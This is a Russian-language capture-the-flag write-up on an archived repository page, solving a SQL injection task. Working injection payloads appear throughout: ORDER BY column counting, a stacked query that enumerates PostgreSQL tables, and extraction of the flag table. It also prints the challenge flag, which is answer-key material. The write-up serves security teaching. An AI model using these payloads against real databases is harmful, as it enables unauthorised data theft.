Skip to content
This repository has been archived by the owner on Nov 19, 2018. It is now read-only.

Latest commit

 

History

History

sql

Folders and files

NameName
Last commit message
Last commit date

parent directory

..
 
 
 
 

Почта России

Условие

Кажется, у кого-то база пользователей слита.. А нет ли там чего-то ещё, кроме данных пользователей?

Решение таска

Похоже на то, что используется база данных. При проверке понимаем, что наш запрос не экранируется вообще никак. И действительно, в базу данных отправляется запрос

    SELECT * FROM users WHERE id = {{input_field}}

Также интересен тот факт, что если вызвать два запроса SELECT через запятую, будет применен результат второго запроса.

Узнаем число столбцов в таблице:

    1 ORDER BY 1 // ОК
    1 ORDER BY 2 // OK
    1 ORDER BY 3 // OK
    1 ORDER BY 4 // Fail, 3 столбца

Перебираем фичи всех БД для получения списка таблиц, узнаем, что это PostgreSQL, а значит список таблиц получается командой:

    1; SELECT 1, 1, table_name FROM information_schema.tables

Чтобы получать разные таблицы, в конец запроса добавляем LIMIT 1 OFFSET x. Увеличивая x, получаем таблицу flag.

Снова узнаем число столбцов:

    1; SELECT 1, 1, * FROM flag ORDER BY 1 // OK
    1; SELECT 1, 1, * FROM flag ORDER BY 2 // Error, 1 столбец

Кстати, заметим, что при первом запросе мы получили флаг: UPML_INJ5271